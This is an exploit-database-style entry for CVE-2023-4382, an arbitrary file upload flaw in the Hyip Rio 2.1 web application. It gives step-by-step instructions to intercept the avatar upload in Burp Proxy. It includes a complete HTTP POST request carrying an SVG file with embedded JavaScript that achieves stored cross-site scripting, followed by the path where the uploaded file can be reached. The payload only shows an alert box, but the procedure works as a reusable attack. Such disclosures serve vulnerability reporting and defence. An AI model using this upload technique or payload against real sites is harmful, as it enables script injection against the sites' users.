# Exploit Title: Hyip Rio 2.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 30/07/2023
# Vendor: tdevs
# Vendor Homepage: https://tdevs.co/
# Software Link: https://hyiprio-feature.tdevs.co/
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CVE: CVE-2023-4382


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/user/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]
 
-----------------------------------------------------------
POST /user/settings/profile-update HTTP/2

Content-Disposition: form-data; name="avatar"; filename="XSS.svg"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by Skalvin");
  </script>
</svg>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] or right-click on the Avatar and Copy the Link
8. Access your Uploded Evil file on this Path: https://website/assets/global/images/********************.svg



[-] Done